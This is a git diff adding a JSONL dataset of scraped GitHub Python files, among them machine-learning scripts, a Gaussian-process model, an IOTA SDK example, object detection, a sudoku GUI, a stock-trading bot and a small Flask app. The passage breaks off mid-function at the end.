diff --git "a/4381.jsonl" "b/4381.jsonl" new file mode 100644--- /dev/null +++ "b/4381.jsonl" @@ -0,0 +1,640 @@ +{"seq_id":"73699603021","text":"from sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\n\nif __name__ == \"__main__\":\n data = pd.read_csv('data/iris.csv', header=None)\n train_x, test_x, train_y, test_y = train_test_split(data.iloc[:, :-1], data.iloc[:, -1], test_size=0.2)\n random_forest = RandomForestClassifier(max_depth=2, random_state=0)\n random_forest.fit(train_x, train_y)\n pd.DataFrame(random_forest.predict(test_x)).to_csv('data/predict_values.csv', header=False)\n pd.DataFrame(test_y).to_csv('data/test_values.csv', header=False)","repo_name":"AVU4/MAI","sub_path":"random_forest.py","file_name":"random_forest.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25408796902","text":"\ndef sum_of_squares():\n squares = []\n for i in range(100):\n squares.append(int((i+1)**2))\n return sum(squares)\n\ndef square_of_sum():\n nums = []\n for i in range(100):\n nums.append(i+1)\n return (sum(nums))**2\n\nprint(square_of_sum()-sum_of_squares())","repo_name":"kamilfrys/Project-Euler-first-100-problems","sub_path":"6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6053760005","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ntrain = pd.read_csv(\"train.csv\")\nvalidation = pd.read_csv(\"validation.csv\")\n\n######### NEGATIVE DOWNSAMPLING ###############\n# Negative downsample to try and balance click/non-clicks better in the training data\nprint(\"negative downsampling\")\nfrom sklearn.utils import resample\nmajority = train[train.click == 0]\nminority = train[train.click == 1]\nmajorityResampled = resample(majority, replace=False, n_samples=400000)\ntrain = pd.concat([minority, majorityResampled])\n\nfullData = pd.concat([train, validation]).reset_index(drop=True)\n\n# Need to know for the index to split the validation/train data after feature engineering\ntrainLength = len(train)\ndel train\ndel validation\n\n############ DUMMIES #########################\n# Columns not wanted for the CTR prediction\ncolumnsToDrop = ['bidid', 'userid', 'IP', 'url', 'urlid', 'slotid', 'keypage', 'bidprice',\n 'click', 'domain']\nfullData = fullData.drop(columnsToDrop, axis=1)\n\n# Create dummy variables for these columns\ncolumnsForDummies = ['weekday', 'city', 'hour', 'region', 'slotwidth', 'slotheight', 'advertiser', 'creative',\n 'slotprice', 'adexchange', 'slotformat', 'slotvisibility', 'useragent']\n\nprint(\"creating fullData dummmies\")\nfor i in columnsForDummies:\n print(\"completing: \" + i)\n dummies = pd.get_dummies(fullData[i], prefix=i)\n joined = pd.concat([fullData, dummies], axis=1)\n fullData = joined.drop(i, axis=1)\n\n# Usertag needs some extra work\nprint(\"completing: usertag\")\nfullData['usertag'].fillna(value=\"null\", inplace=True)\nusertags = fullData.usertag.str.split(',').tolist()\nusertagDf = pd.DataFrame(usertags)\ndel usertags\nusertagDummies = pd.get_dummies(usertagDf,prefix='usertag')\ndel usertagDf\nusertagDummies = usertagDummies.groupby(usertagDummies.columns, axis=1).sum()\nfullData = pd.concat([fullData, usertagDummies], axis=1)\nfullData = fullData.drop('usertag', axis=1)\nprint(\"finished dummies\")\ndel usertagDummies\n\n# Split the train and validation data\ntrain = fullData[0:trainLength]\nvalidation = fullData[trainLength:]\nfullData = 0\n##########################################\n\n\n##### SPLIT DATA FOR TRAINING ############\nprint(\"X/y preparation\")\nX_train = train.drop('payprice', axis=1)\ny_train = train['payprice']\nX_validation = validation.drop('payprice', axis=1)\ny_validation = validation['payprice']\ntrain = 0\nvalidation = 0\n###########################################\n\n\n##### TRY DIFFERENT MODELS ################\nfrom sklearn.metrics import explained_variance_score, r2_score\n#\nfrom sklearn.linear_model import Lasso\nfor a in [1, 0.1, 0.01, 0.001, 0.0001]:\n print(\"fitting lasso (alpha:\" + str(a) + \"): \")\n lassoModel = Lasso(alpha=a, precompute=True)\n lassoModel.fit(X_train, y_train)\n predictions = lassoModel.predict(X_validation)\n print(explained_variance_score(y_validation, predictions))\n\nfrom sklearn.svm import LinearSVR\nfor strength in [100, 10, 1, 0.1, 0.01]:\n print(\"fitting svr (C:\" + str(strength) + \"): \")\n svrModel = LinearSVR(C=strength)\n svrModel.fit(X_train, y_train)\n predictions = svrModel.predict(X_validation)\n print(explained_variance_score(y_validation, predictions))\nprint(\"finished regression fitting\")\n\nlassoModel = Lasso(precompute=True)\nlassoModel.fit(X_train, y_train)\npredictions = lassoModel.predict(X_validation)\npredictionData = pd.DataFrame(data=predictions, columns=['Payprediction'])\npredictionData.to_csv(\"Paypredictions.csv\", index=False)\n#\n# print(\"saving to disk\")\n# predictionData = pd.DataFrame(data=predictions, columns=['Payprediction'])\n# predictionData.to_csv(\"Paypredictions.csv\", index=False)\n\n# plt.scatter(predictions, y_validation, s=0.1)\n# plt.xlabel(\"predicted payprice\")\n# plt.ylabel(\"actual payprice\")\n# # plt.savefig(\"lasso\")\n# plt.show()\n","repo_name":"jtur01/coursework","sub_path":"payPricePrediction.py","file_name":"payPricePrediction.py","file_ext":"py","file_size_in_byte":3838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21093447785","text":"\"\"\"\r\nScript to train, validate and test a regression model\r\n\r\nWritten by:\r\nAlejandro Granados ( PhD MSc DIC BSc )\r\nSchool of Biomedical Engineering and Patient Sciences\r\nKing's College London, 2020\r\n\r\nContact:\r\nalejandro.granados@kcl.ac.uk\r\nagranados.eu@gmail.com\r\n\"\"\"\r\n\r\nimport os\r\nimport torch\r\n\r\nfrom Framework.Data import ODEDataset\r\nfrom Framework.Data import GPyDataset\r\nfrom Framework.Data import WindowDataset\r\nfrom Framework.Data import ODECnnDataset\r\nfrom Framework.Regression import ODERegression\r\nfrom Framework.Regression import GPyRegression\r\nfrom Framework.Regression import NNRegression\r\nfrom Framework.Regression import ODEWindowRegression\r\n\r\n\r\ndata_dir = 'C:\\\\UCL\\\\PhysicsSimulation\\\\Python\\\\NSElectrodeBending\\\\Framework\\\\Data'\r\nspace = 'mni_aff' # 'patient', 'mni_f3d'\r\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\r\nmethod = 'odewindow' # cnn, nn, gpy, ode, odewindow, odecnn\r\ndata_augment = False\r\n\r\n\r\ndef main():\r\n datasets = {}\r\n\r\n if method == 'ode':\r\n # create dataset\r\n datasets['init'] = ODEDataset.ODEDataset(data_dir=data_dir, space=space, mode='init', filter_file='filter_mtg.npy', data_augment=data_augment, batch_time=8)\r\n datasets['training'] = ODEDataset.ODEDataset(data_dir=data_dir, space=space, mode='training', filter_file='filter_mtg.npy', data_augment=data_augment, batch_time=8)\r\n datasets['validation'] = ODEDataset.ODEDataset(data_dir=data_dir, space=space, mode='validation', filter_file='filter_mtg.npy', data_augment=data_augment, batch_time=8)\r\n datasets['testing'] = ODEDataset.ODEDataset(data_dir=data_dir, space=space, mode='testing', filter_file='filter_mtg.npy', data_augment=data_augment, batch_time=0)\r\n\r\n input('break')\r\n\r\n # create regression model\r\n odemodel = ODERegression.ODERegression()\r\n odemodel.init_train(datasets=datasets)\r\n\r\n # train\r\n odemodel.train()\r\n\r\n # test\r\n odemodel.test()\r\n\r\n elif method == 'gpy':\r\n # create dataset\r\n datasets['init'] = GPyDataset.GPyDataset(data_dir=data_dir, space=space, mode='init', filter_file='filter_mtg.npy')\r\n datasets['training'] = GPyDataset.GPyDataset(data_dir=data_dir, space=space, mode='training', filter_file='filter_mtg.npy')\r\n datasets['testing'] = GPyDataset.GPyDataset(data_dir=data_dir, space=space, mode='testing', filter_file='filter_mtg.npy')\r\n datasets['validation'] = GPyDataset.GPyDataset(data_dir=data_dir, space=space, mode='validation', filter_file='filter_mtg.npy')\r\n\r\n # create regression model\r\n gpymodel = GPyRegression.GPyRegression(datasets=datasets)\r\n\r\n # train\r\n gpymodel.train()\r\n\r\n # test\r\n gpymodel.test()\r\n\r\n elif method == 'cnn':\r\n # create dataset\r\n datasets['init'] = WindowDataset.WindowDataset(data_dir=data_dir, space=space, mode='init', filter_file='filter_mtg.npy', type='cwd')\r\n datasets['training'] = WindowDataset.WindowDataset(data_dir=data_dir, space=space, mode='training', filter_file='filter_mtg.npy', type='cwd')\r\n datasets['testing'] = WindowDataset.WindowDataset(data_dir=data_dir, space=space, mode='testing', filter_file='filter_mtg.npy', type='cwd')\r\n datasets['validation'] = WindowDataset.WindowDataset(data_dir=data_dir, space=space, mode='validation', filter_file='filter_mtg.npy', type='cwd')\r\n\r\n # create regression model\r\n # cnnmodel = NNRegression.NNRegression(datasets=datasets, channels=1) # mri, cwd\r\n cnnmodel = NNRegression.NNRegression(datasets=datasets, channels=4) # one-hot vector\r\n\r\n # train\r\n cnnmodel.train()\r\n\r\n # test\r\n cnnmodel.test()\r\n\r\n elif method == 'odewindow':\r\n # create dataset\r\n datasets['init'] = ODECnnDataset.ODECnnDataset(data_dir=data_dir, space=space, mode='init', filter_file='filter_mtg.npy', type='mri')\r\n datasets['training'] = ODECnnDataset.ODECnnDataset(data_dir=data_dir, space=space, mode='training', filter_file='filter_mtg.npy', type='mri')\r\n datasets['testing'] = ODECnnDataset.ODECnnDataset(data_dir=data_dir, space=space, mode='testing', filter_file='filter_mtg.npy', type='mri')\r\n datasets['validation'] = ODECnnDataset.ODECnnDataset(data_dir=data_dir, space=space, mode='validation', filter_file='filter_mtg.npy', type='mri')\r\n\r\n # create regression model\r\n cnnwindow = ODEWindowRegression.ODEWindowRegression(datasets=datasets) # mri, cwd\r\n # cnnwindow = ODEWindowRegression.ODEWindowRegression(datasets=datasets, channels=4) # one-hot vector\r\n\r\n # train\r\n cnnwindow.train()\r\n\r\n # test\r\n cnnwindow.test()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"agranadoseu/SEEG-Electrode-Bending","sub_path":"Framework/Scripts/Regression.py","file_name":"Regression.py","file_ext":"py","file_size_in_byte":4768,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"29642811231","text":"\"\"\"\nModel for RJ-MCMC Treed-GP\n==========================\n\"\"\"\n\nfrom __future__ import annotations\n\nfrom abc import ABC, abstractmethod\nfrom functools import lru_cache\nfrom typing import Optional\nimport numpy as np\n\nimport celerite2\n\nfrom .alias import ArrayLike\n\n\nclass Model(ABC):\n \"\"\"\n Gaussian process model of data\n \"\"\"\n\n def __init__(self, x_data: ArrayLike,\n y_data: ArrayLike,\n noise: Optional[ArrayLike] = None,\n x_predict: Optional[ArrayLike] = None):\n \"\"\"\n :param x_data: Input locations\n :param y_data: Measurements\n :param noise: Diagonal measurement error\n :param x_predict: Locations of predictions\n \"\"\"\n self.x_data = x_data\n self.x_data_min = x_data.min()\n self.x_data_delta = self.x_data.max() - self.x_data.min()\n self.x_data_scaled = (self.x_data - self.x_data_min) / self.x_data_delta\n self.y_data = y_data\n self.x_predict = x_predict if x_predict is not None else x_data\n self.noise = noise if noise is not None else np.zeros_like(x_data)\n\n def where(self, arr, interval):\n \"\"\"\n :return: Partitions according to an interval\n \"\"\"\n if interval[0] <= 0.:\n lower = -np.inf\n else:\n lower = interval[0] * self.x_data_delta + self.x_data_min\n\n if interval[1] >= 1.:\n upper = np.inf\n else:\n upper = interval[1] * self.x_data_delta + self.x_data_min\n\n return (arr <= upper) & (arr >= lower)\n\n def min_data_points(self, intervals):\n \"\"\"\n :return: Minimim number of data points inside partitions\n \"\"\"\n return min(self.where(self.x_data, i).sum() for i in intervals)\n\n @abstractmethod\n def loglike_leaf(self, interval: ArrayLike,\n params: ArrayLike,\n systematic: ArrayLike):\n \"\"\"\n :param interval: Interval of this leaf\n :param params: Parameters for this leaf\n :param systematic: Systematic parameters common to all leaves\n\n :return: Log probability for GP on one leaf\n \"\"\"\n\n @abstractmethod\n def pred_leaf(self, interval: ArrayLike,\n params: ArrayLike,\n systematic: ArrayLike):\n \"\"\"\n :param interval: Interval of this leaf\n :param params: Parameters for this leaf\n :param systematic: Systematic parameters common to all leaves\n\n :return: Mean and covariance for GP on one leaf\n \"\"\"\n\n def pred(self, intervals, params, systematic):\n \"\"\"\n :param interval: Interval of this leaf\n :param params: Parameters for this leaf\n :param systematic: Systematic parameters common to all leaves\n\n :return: Mean and covariance summed over all partitions\n \"\"\"\n mean = 0.\n cov = 0.\n\n if systematic is not None:\n systematic = tuple(systematic)\n\n for interval, param in zip(intervals, params):\n mean_, cov_ = self.pred_leaf(interval, tuple(param), systematic)\n mean += mean_\n cov += cov_\n\n return mean, cov\n\n def loglike(self, intervals, params, systematic):\n \"\"\"\n :param interval: Interval of this leaf\n :param params: Parameters for this leaf\n :param systematic: Systematic parameters common to all leaves\n\n :return: Log likelihood summed over all partitions\n \"\"\"\n if systematic is not None:\n systematic = tuple(systematic)\n return sum(self.loglike_leaf(interval, tuple(p), systematic)\n for interval, p in zip(intervals, params))\n\n @staticmethod\n @abstractmethod\n def summary(mean, cov):\n \"\"\"\n :return: Summaries to save and assess\n \"\"\"\n\n\nclass Celerite2(Model):\n \"\"\"\n Gaussian process model using celerite2 library\n \"\"\"\n @lru_cache(maxsize=1)\n def gp_leaf(self, interval, params, systematic):\n \"\"\"\n :param interval: Interval of this leaf\n :param params: Parameters for this leaf\n :param systematic: Systematic parameters common to all leaves\n\n :return: Log probability, mean and coviance for GP on one leaf\n \"\"\"\n where = self.where(self.x_data, interval)\n\n if len(params) == 3:\n mean, sigma, length = params\n nugget = 0\n else:\n mean, sigma, length, nugget = params\n\n kernel = celerite2.terms.Matern32Term(\n sigma=np.abs(sigma), rho=np.abs(length))\n gp_leaf = celerite2.GaussianProcess(kernel, mean=mean)\n gp_leaf.compute(self.x_data[where], yerr=self.noise[where] + np.abs(nugget))\n return gp_leaf\n\n @lru_cache(maxsize=32)\n def pred_leaf(self, interval, params, systematic):\n \"\"\"\n :param interval: Interval of this leaf\n :param params: Parameters for this leaf\n :param systematic: Systematic parameters common to all leaves\n\n :return: Log probability, mean and coviance for GP on one leaf\n \"\"\"\n gp_leaf = self.gp_leaf(interval, params, systematic)\n\n y_data = self.y_data[self.where(self.x_data, interval)]\n where = self.where(self.x_predict, interval)\n\n mean, cov = gp_leaf.predict(\n y_data, t=self.x_predict[where], return_cov=True)\n\n if len(params) != 3:\n nugget = params[3]\n cov += nugget**2 * np.identity(cov.shape[0])\n\n padded_mean = np.zeros(where.shape)\n padded_mean[where] = mean\n\n padded_cov = np.zeros((where.shape[0], where.shape[0]))\n padded_cov[np.outer(where, where)] = cov.flatten()\n\n return padded_mean, padded_cov\n\n @lru_cache(maxsize=32)\n def loglike_leaf(self, interval, params, systematic):\n \"\"\"\n :param interval: Interval of this leaf\n :param params: Parameters for this leaf\n :param systematic: Systematic parameters common to all leaves\n\n :return: Log probability, mean and coviance for GP on one leaf\n \"\"\"\n y_data = self.y_data[self.where(self.x_data, interval)]\n try:\n return self.gp_leaf(interval, params, systematic).log_likelihood(y_data)\n # pylint: disable-next=c-extension-no-member\n except celerite2.driver.LinAlgError:\n return -np.inf\n\n @staticmethod\n def summary(mean, cov):\n \"\"\"\n :return: Mean over all predictions\n \"\"\"\n return np.mean(mean)\n","repo_name":"andrewfowlie/kingpin","sub_path":"src/kingpin/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40673756105","text":"import sqlite3\r\nconn = sqlite3.connect(\":memory:\")\r\ncursor = conn.cursor()\r\ncursor.execute(\"create table lang(name,First_appeared\")\r\n\r\ncursor.execute(\"insert into lang values (?,?)\", (\"C\", 2001))\r\n\r\nlang_list = [\r\n (\"Gereson De Vera\", 2001),\r\n (\"Engr. Jay-Ar Pentacostes\"),\r\n (\"Engineering\",2020),\r\n]\r\ncursor.executemany(\"insert into lang values (?,?)\", lang_list)\r\n\r\ncursor.execute(\"select * from where First_appeared:year\", {\"year\": 1995})\r\nprint(cursor.fetchall())\r\n\r\nconn.close()","repo_name":"GeresonDevera/Software-Design-Lab-Exercises","sub_path":"InLab-5.py","file_name":"InLab-5.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9223271335","text":"#################################################\n# Example script for tagged data payloads\n#################################################\n# This script has three steps:\n# 1) Prepare the payload for a block\n# 2) Submit the block to the Shimmer test network\n# 3) Use the block ID to read the payload back from the network\n\nimport os\n\nfrom dotenv import load_dotenv\n\n# Import the python iota client\n# Make sure you have first installed it with `pip install iota_sdk`\nfrom iota_sdk import Client, hex_to_utf8, utf8_to_hex\n\nload_dotenv()\n\nnode_url = os.environ.get('NODE_URL', 'https://api.testnet.shimmer.network')\n\n# Create a Client instance\nclient = Client(nodes=[node_url])\n\n\n########################################################\n# Step 1: Prepare the data in hex format for your block\n########################################################\n# Data is submitted to the Shimmer network as a block.\n# This block can contain a 'payload' with data.\n# This payload has a 'tag' and the 'data' itself, both in hex format.\n# The Shimmer network requires a \"0x\" at the beginning of hex strings.\n\n# Write a tag and message\ntag = \"Hello\"\n# message = \"Hello again. You can use one line or multiple lines!\"\nmessage = \"\"\"\nI am a\nrobot!\n\"\"\"\n\n# Convert to hex\ntag_hex = utf8_to_hex(tag)\nmessage_hex = utf8_to_hex(message)\n\nprint('\\nYour prepared block content is:')\nprint(f' tag: {tag}')\nprint(f' tag converted to hex: {tag_hex}')\nprint(f' message: {message}')\nprint(f' message converted to hex: {message_hex}')\n\n\n########################################################\n# Step 2: Submit your block to the Shimmer test network\n########################################################\n# A block must be built, to which the payload is attached.\n# The build_and_post_block function handles this task.\n\n# Create and post a block with a tagged data payload\n# The client returns your block data (blockIdAndBlock)\nblockIdAndBlock = client.build_and_post_block(\n secret_manager=None, tag=tag_hex, data=message_hex)\n\nblock_id = blockIdAndBlock[0]\nblock = blockIdAndBlock[1]\n\nprint('\\nThe block ID for your submitted block is:')\nprint(f' {block_id}')\n\nprint('\\nMetadata for your submitted block is:')\nprint(f' {block}')\n\n########################################################\n# Step 3: Use the block ID to read the payload back\n########################################################\n# The network can be queried using the block ID.\n# There are two methods to query the network.\n# get_block_metadata - metadata only\n# get_block_data - metadata and payload\n\n# Get the metadata for the block\nmetadata = client.get_block_metadata(block_id)\n\n# Get the whole block\nblock = client.get_block_data(block_id)\npayload_out = block.payload\ntag_hex_out = block.payload.tag\nmessage_hex_out = block.payload.data\n\n# Unpackage the payload (from hex to text)\nmessage_out = hex_to_utf8(message_hex_out)\nprint('\\nYour message, read from the Shimmer network:')\nprint(f' {message_out}')\n\n# Or see the message online, with the testnet explorer.\nprint(\n f'\\nOr see the message with the testnet explorer: {os.environ[\"EXPLORER_URL\"]}/block/{block_id}')\n","repo_name":"iotaledger/iota-sdk","sub_path":"bindings/python/examples/client/submit_and_read_block.py","file_name":"submit_and_read_block.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"47"} +{"seq_id":"27084053581","text":"from src import file_interface as fInter\nfrom src import printer\nfrom src import window\n\n\n\nimport tkinter as tk\n\n\nroot_window = tk.Tk()\n\ntabFile = fInter.Table_file()\nwin = window.Window(root_window)\n#printer.printer(tabFile.get_table(3))\n\nwin.update_cell(0, 0, \"a\")\nwin.update_cell(0, 0, 0)\nwin.update_cell(1, 6, 0)\n\nwin.clear_board()\n\nwin.new_board(tabFile.get_random_table())\n\n\n#print(win.get_board())\n\ndef update():\n win.update()\n root_window.after(100, update)\n\n# Key bindings: http://effbot.org/tkinterbook/tkinter-events-and-bindings.htm\nroot_window.bind('', win.key_up)\nroot_window.bind('', win.key_down)\nroot_window.bind('', win.key_left)\nroot_window.bind('', win.key_right)\nroot_window.bind('', win.key_space)\nroot_window.bind('', win.key_enter)\n\n\nroot_window.after(100, update)\nroot_window.mainloop()\n","repo_name":"catsymptote/sudoku_solver_2","sub_path":"Sudoku.py","file_name":"Sudoku.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15477394907","text":"from datetime import date\n\nfrom predictor import predict_stock\nfrom stocksymbols import get_stock_symbols\nfrom alpacaclient import Alpaca\n\ntoday = date.today()\nprint(\"Starting todays run:\", today)\n\nstock_symbols = get_stock_symbols()\nalpaca = Alpaca()\n\nfor stock_symbol in stock_symbols:\n try:\n yesterdays_price, projected_price = predict_stock(stock_symbol, 1000)\n print('Yesterdays price: ' + str(yesterdays_price))\n print('Todays projected price: ' + str(projected_price))\n # Only buy or hold the stock if we think there will be at least a 1% increase in the price\n if (yesterdays_price * 1.01) < projected_price:\n alpaca.ensure_position(stock_symbol)\n else:\n alpaca.ensure_no_position(stock_symbol)\n except Exception as e:\n print('Execption caught while trying to evaluate ' + stock_symbol)\n print(e)\n\n","repo_name":"joeySchentrup/Auto-Stock-Trader","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20159087198","text":"from keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.utils import np_utils\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n(X_train, Y_train), (X_test, Y_test) = mnist.load_data()\n\nnum_pix = X_train.shape[1] * X_train.shape[2]\n\nX_train = X_train.reshape(X_train.shape[0], num_pix).astype('float')\nX_test = X_test.reshape(X_test.shape[0], num_pix).astype('float')\n\nx_train = X_train / 255\nx_test = X_test / 255\n\ny_train = np_utils.to_categorical(Y_train)\ny_test = np_utils.to_categorical(Y_test)\n\nclasses = y_test.shape[1]\n\nmodel = Sequential()\n\nmodel.add(Dense(120, input_dim=num_pix, activation='relu'))\nmodel.add(Dense(classes, activation='softmax'))\n\nmodel.compile(optimizer='sgd', loss='categorical_crossentropy', metrics=['acc'])\n\nmodel.fit(x_train, y_train, epochs=12, batch_size=100)\n\n# plt.imshow(X_train[0])\n\n# plt.show()","repo_name":"evandrocapo/Keras","sub_path":"keras_ai#5.py","file_name":"keras_ai#5.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40519334048","text":"n=int(input(\"Enter the Number: \"))\r\nm=[]\r\nfor i in range(n):\r\n d=n%(i+1)\r\n m.append(d)\r\nif n==1:\r\n print(\"What's wrong with you? It is 1!!!!\")\r\nelif n==2:\r\n print(\"Seriously? You wanna check whether 2 is prime number or not?\")\r\nelif n%n==0 and m.count(0)==2:\r\n print(\"It is a prime Number\")\r\nelse:\r\n print(\"It is not a prime Number\")\r\n","repo_name":"majumder-man/Python_files","sub_path":"21-11-19_Prime Number.py","file_name":"21-11-19_Prime Number.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38392544646","text":"from imageai.Detection import ObjectDetection\nimport os\n\nexec_path = os.getcwd()\n\ndetector = ObjectDetection()\ndetector.setModelTypeAsYOLOv3()\ndetector.setModelPath( os.path.join(exec_path, \"C:/Users/Hladkyi Dmytro/Desktop/IT Oprogromowanie/Python_Projects/project3_Object recognition/yolov3.pt\"))\ndetector.loadModel()\n\ncustom_objects = detector.CustomObjects(umbrella=True)\n\ndetections, objects_path = detector.detectObjectsFromImage(custom_objects=custom_objects, \n input_image=os.path.join(\n exec_path, \"C:/Users/Hladkyi Dmytro/Desktop/IT Oprogromowanie/Python_Projects/project3_Object recognition/image.jpg\"), \n output_image_path=os.path.join(exec_path, \"C:/Users/Hladkyi Dmytro/Desktop/IT Oprogromowanie/Python_Projects/project3_Object recognition/imageout1.jpg\"), minimum_percentage_probability=50, \n extract_detected_objects=True)\n\n\n\nfor eachObject, eachObjectPath in zip(detections, objects_path):\n print(eachObject[\"name\"] , \" : \" , eachObject[\"percentage_probability\"], \" : \", eachObject[\"box_points\"] )\n print(\"Object's image saved in \" + eachObjectPath)\n print(\"--------------------------------\")\n\n\n# from imageai.Detection import VideoObjectDetection\n# import os\n\n# execution_path = os.getcwd()\n\n# detector = VideoObjectDetection()\n# detector.setModelTypeAsYOLOv3()\n# detector.setModelPath( os.path.join(execution_path , \"C:/Users/Hladkyi Dmytro/Desktop/IT Oprogromowanie/Python_Projects/project3_Object recognition/yolov3.pt\"))\n# detector.loadModel()\n\n# video_path = detector.detectObjectsFromVideo(\n# input_file_path=os.path.join(execution_path, \"C:/Users/Hladkyi Dmytro/Desktop/IT Oprogromowanie/Python_Projects/project3_Object recognition/wideo.mp4\"),\n# output_file_path=os.path.join(execution_path, \"C:/Users/Hladkyi Dmytro/Desktop/IT Oprogromowanie/Python_Projects/project3_Object recognition/traffic_detected\"), \n# frames_per_second=20, \n# log_progress=True)\n# print(video_path)\n\n\n\n# https://github.com/OlafenwaMoses/ImageAI/tree/master/imageai/Detection ---->download RetinaNet\n\n\n\n# pip install cython pillow>=7.0.0 numpy>=1.18.1 opencv-python>=4.1.2 torch>=1.9.0 --extra-index-url https://download.pytorch.org/whl/cpu torchvision>=0.10.0 --extra-index-url https://download.pytorch.org/whl/cpu pytest==7.1.3 tqdm==4.64.1 scipy>=1.7.3 matplotlib>=3.4.3 mock==4.0.3\n\n# pip install cython pillow>=7.0.0 numpy>=1.18.1 opencv-python>=4.1.2 torch>=1.9.0 --extra-index-url https://download.pytorch.org/whl/cu102 torchvision>=0.10.0 --extra-index-url https://download.pytorch.org/whl/cu102 pytest==7.1.3 tqdm==4.64.1 scipy>=1.7.3 matplotlib>=3.4.3 mock==4.0.3\n\n# pip install pycocotools@git+https://github.com/gautamchitnis/cocoapi.git@cocodataset-master#subdirectory=PythonAPI\n\n# pip install imageai --upgrade\n\n\n# https://imageai.readthedocs.io/en/latest/video/index.html ----> https://imageai.readthedocs.io/en/latest/video/index.html","repo_name":"DmytroHladkyi/Object-recognition-by-photo-video","sub_path":"----object_recognition---.py","file_name":"----object_recognition---.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5828195443","text":"# I've attended the code.plus class (https://code.plus/)\n# And I've referred it's codes\n# And core parts can be come fully from the class.\n\n# n : num of children\n# ride at min order of empty rides\n# m : num of rides\n# operating time\n# 3 5\n# 1(7) 2(8) 3(9) 4(7) 5(8)\n# 1,2,3\n#\n# 7 2\n# 1(3) 2(2)\n# 1,2\n# \n#\n# 1\n# 2\n#\n# \n# 1\n# 2 1\n# output : num of rides which last child will ride\n\nimport sys\ninput = sys.stdin.readline\n\n# p: person <= 2 000 000 000 \n# n : rides <= 10 000\n# a : wait time <= 30\np, n = map(int, input().split())\na = list(map(int, input().split()))\n\n# at 0 min\n# can ride without wait (at 0 min)\n# all can ride\nif p <= n:\n print(p)\n sys.exit(0)\n\n\n# time (min ~ max)\nleft = 0 # min time :0 min\n# max time: person * rides * wait time\n# > 2000000000 * 100000 * 30\nright = 2000000000 * 1000000 \n\n# input: 17 5\n# 1 2 3 4 5\n# output: 2\n#\n# (time) 1 2 3 4 5 (rides)\n# 0 (L1) 1 2 3 4 5\n# 1 6\n# 2 7 8\n# 3 9 10\n# 4 (M1) 11(B1) 12 13(E1)\n# 5 (L2) 14 15\n# 6 (M2) 16(B1) 17(*) 18(E1)\n# 7 19\n# 8 (R1) 20 21 22\n#\n# output: num of rides which last person would ride\nwhile left <= right:\n mid = (left + right) // 2 \n begin = 0 # person order [begin, end] at mid min\n end = n # at time(0)\n for i in range(n): # n: num of rides\n end += mid // a[i] # total person's num until n min\n begin = end # 15\n for i in range(n): # 0,1,2,3,4\n if mid % a[i] == 0:\n begin -= 1 # moving begin forward\n begin += 1\n if p < begin:\n right = mid - 1 # forward\n elif p > end:\n left = mid + 1 # backward\n else:\n for i in range(n):\n if mid % a[i] == 0:\n if p == begin:\n print(i+1)\n sys.exit(0)\n begin += 1 # by increasing mid","repo_name":"twoload/myAlgo","sub_path":"BinarySearch/BS_p1_1561_amusementPark.py","file_name":"BS_p1_1561_amusementPark.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74372917581","text":"from flask import request,Flask,app,jsonify,render_template\r\n\r\nfrom data import etf, bond\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n\r\n@app.route('/',methods=['GET','POST'])\r\ndef init():\r\n if request.method == 'POST':\r\n investment = request.form.get('investment')\r\n time = request.form.get('time')\r\n risk = request.form.get('risk')\r\n print(investment,time,risk)\r\n data=[{\"symbol\":'VCN.TO',\"name\":\"Vanguard FTSE Canada All Cap Index ETF\",\"asset\":\"ETFs\",\"price\":41.02,\"_shares\":4},\r\n {\"symbol\":'VUN.TO',\"name\":\"Vanguard U.S. Total Market Index ETF\",\"asset\":\"ETFs\",\"price\":76.87,\"_shares\":4},\r\n {\"symbol\":'VIU.TO',\"name\":\"Vanguard FTSE Developed All Cap Ex North America Index ETF\",\"asset\":\"ETFs\",\"price\":32.37,\"_shares\":4}]\r\n return render_template(\"suggest.html\",data=data)\r\n\r\n else:\r\n return render_template(\"input.html\")\r\n\r\n@app.route('/graph/v')\r\ndef graph():\r\n return 